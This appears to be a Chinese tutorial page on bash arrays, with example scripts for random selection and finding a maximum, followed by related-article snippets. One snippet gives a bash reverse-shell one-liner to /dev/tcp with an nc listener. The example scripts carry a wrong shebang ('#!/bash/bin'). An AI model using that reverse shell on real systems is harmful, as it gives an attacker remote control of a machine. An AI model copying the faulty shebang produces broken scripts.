linux命令:bash编程之数组

变量:一段内存空间,用于存储字符,数字等信息.

数组:

如何申明一个数组:

赋值方法1:

AA[0]=jerry

AA[1]=tom

AA[3]=wendy

AA[6]=natasha

赋值方法2:

AA=(jerry "tom obama" wendy natasha)

AA=([0]=jerry [1]=tom [2]=wendy [6]=natasha)

AA[3]=selina

AA[4]=nikita

如何获取数组中非空的字符个数

${#AA[*]}  或者 ${#AA[@]}

如何获取数组中某一组值的字符长度

${#AA[0]} :表示数组中第一组值的字符长度

${#AA[1]} :表示数组中第二组值的字符长度

.....

${#AA[N]} :表示数组中第N-1组值的字符长度

脚本实例:


实例一: 

写一个脚本:随机从10个同学们中选择一位出来回答问题。

vim student.sh

#!/bash/bin

#

#   随机从10个同学选择一个,并显示出来。

AA=(jerry "tom stail" wendy natasha kely selina john jack xiaowu "A dong")

INDEX=$[$RANDOM%10]

echo "${AA[$INDEX]}"

附加:

从10个同学里面随机十次,并显示出他们的名字

vim student.sh

#!/bash/bin

#

#   随机从10个同学选择一个,并显示出来。

AA=(jerry "tom stail" wendy natasha kely selina john jack xiaowu "A dong")

for I in {1..10}; do

INDEX=$[$RANDOM%10]

echo "${AA[$INDEX]}"

done

[[email protected] script]# bash student.sh

wendy

tom stail

jerry

tom stail

kely

natasha

xiaowu

jack

kely

natasha

实例二:

写一个脚本:显示10个随机数,并从中选出最大数;

vim findmax.sh

#!/bash/bin

#

#  显示10个随机数,并从中选出最大数;

for I in {0..9}; do

ARRAY[$I]=$RANDOM

echo -n "${ARRAY[$I]} "
 sleep 1

done

echo

declare -i MAX=${ARRAY[0]}

INDEX=${#ARRAY[*]}

for I in `seq 1 $[$INDEX-1]`; do

if [ $MAX -lt ${ARRAY[$I]} ]; then

MAX=${ARRAY[$I]}

fi

done

echo "The MAX Number is $MAX !"

执行结果:

[[email protected] script]# sh findmax1.sh

9794 23744 258 23323 26204 15429 3985 5762 26162 24422

The MAX Number is 26204 !

实例三:

写一个脚本,选择随机生成0-39中不相同的数字;

时间: 2024-12-28 13:18:57

linux命令:bash编程之数组的相关文章

linux下Bash编程之数组Array详解

1.Array数组与变量概念与区别 变量是一段内存空间,并且变量与变量之间是多数是不连续的内存空间 Array数组是由多个变量组成,数组中的变量称为元素,数组中的元素是连续的内存空间 2.声明数组 declare -a 数组名 例如:声明一个数组STU并初始化值 写法1: declare -a STU STU[0]=Willow STU[1}=Tom STU[2]=Redhat 写法2: STU=(Willow Tom Redhat) #元素之间用空格隔开,元素从0开始依次赋值,不能跳跃 写法3

linux下Bash编程组合测试及编写脚本(五)

linux下Bash编程组合测试及编写综合脚本(五) 1.Bash编程组合测试条件 -a: 与关系 -o: 或关系 !: 非关系 表示方法1:[ $# -gt 100 -a $# -le 500 ] 表示方法2:[ $# -gt 100 ] && [ $# -le 500 ] 2.编写一个任意添加与删除用户的脚本,要求如下: 2.1:如果脚本选项是--add:,将添加用户; 如果选项是--del,将删除用户,如果是--help显示帮助信息 2.2:脚本选项后面的参数可任意指定多个用户并且用

linux命令bash

linux命令bash 编辑命令 Ctrl + a :移到命令行首 Ctrl + e :移到命令行尾 Ctrl + f :按字符前移(右向) Ctrl + b :按字符后移(左向) Ctrl + u :从光标处删除至命令行首 Ctrl + k :从光标处删除至命令行尾 Ctrl + w :从光标处删除至字首 Alt + d :从光标处删除至字尾 Ctrl + d :删除光标处的字符 Ctrl + h :删除光标前的字符 Ctrl + y :粘贴至光标后 Alt + c :从光标处更改为首字母大写

linux下Bash编程循环语句特殊用法之编写脚本(十)

linux下Bash编程while语句特殊用法之编写脚本(十) 1.循环控制: break:中断整个循环语句,即退出循环后执行脚本后面的语句 continue:中断当前本次循环,提前进入下一轮循环 exit:结束脚本运行 2.while死循环,即当不知道循环多少次时 格式 : while :; do 循环语句 done 3.while从输入重定向文件中每行读取并赋值给read变量 格式:  while read LINE;do 循环语句 done < 路径文件 4.实例脚本 4.1.找出/etc

Bash编程之数组和字符串处理

目录 笔记日期20180405 数组 声名(创建)数组declare -a ARRAY_NAME 数组元素的赋值ARRAY_NAME=("VAL1" "VAL2" "VAL3"...) 引用数组元素:${ARRAY_NAME[INDEX]} bash的字符串处理工具 字符串切片${var:offset:number} 基于模式取字串${var#*word} 查找替换变量的值${var/pattern/match} 查找并删除变量的某些字符${va

Linux命令——bash

bash是一个命令解释语言,能够执行读取标准输入或文件的命令,可以执行命令以及结合nc进行反弹shell! 基本使用语法 bash -c 命令 [email protected]:~# bash -c whoami root [email protected]:~# 另外使用-i表示以交互方式运行shell,通常在目标主机上运行 bash -i >& /dev/tcp/192.168.5.1/2222 0>&1 然后另一台主机使用nc进行监听该端口,即可获取到一个shell!

Linux下Bash编程之变量详解(一)

1.语言分类: 1.1.静态语言:编译型语言 强类型:变量在使用前,必须事先声明,甚至还需要初始化: 编写的程序事先转换成可执行格式 代表有:C.C++.JAVA.C# 动态语言:解释型语言 弱类型:变量用时声明,甚至不区分类型: 编写的程序边解释边执行 代表有: PHP.SHELL.python.perl 1.2.面向过程编程语言:代表有 Shell, C 1.3.面向对象编程语言: 代表有 JAVA, Python, perl, C++ 结论:shell属于弱类型编程语言 2.shell编程

read 命令,bash编程之用户交互

read [option]... [name ...] -p 'PROMPT' 提示 -t TIMEOUT 暂停 将一个行从标准输入读入以后,使用空格符分割成字段,将切割的结果对位(变量不止1个)保存在对应的变量中. 例如: [[email protected] ~]# read name  让你输入数据 obama [[email protected] ~]# echo $name  name的值就是obama obama [[email protected] ~]#        变量不止1

谢烟客---------Linux之bash编程

数组 数组名 数组定义 数组引用 数组元素的赋值方式 销毁数组 unset ARRAY_NAME[INDEX] 练习:生成10个随机数保存于数组中,取出最大值和最小值 练习:生成10个随机数保存于数组中,求下标为偶数的所有随机数之和 练习:写一个脚本 定义一个数组,数组中的元素是/var/log目录下所有以.log结尾的文件名;要统计其下标为偶数的文件中的行数之和 练习:生成10个随机数,对其排序 示例一:生成10个随机数保存于数组中,取出最大值和最小值 #!/bin/bash # declar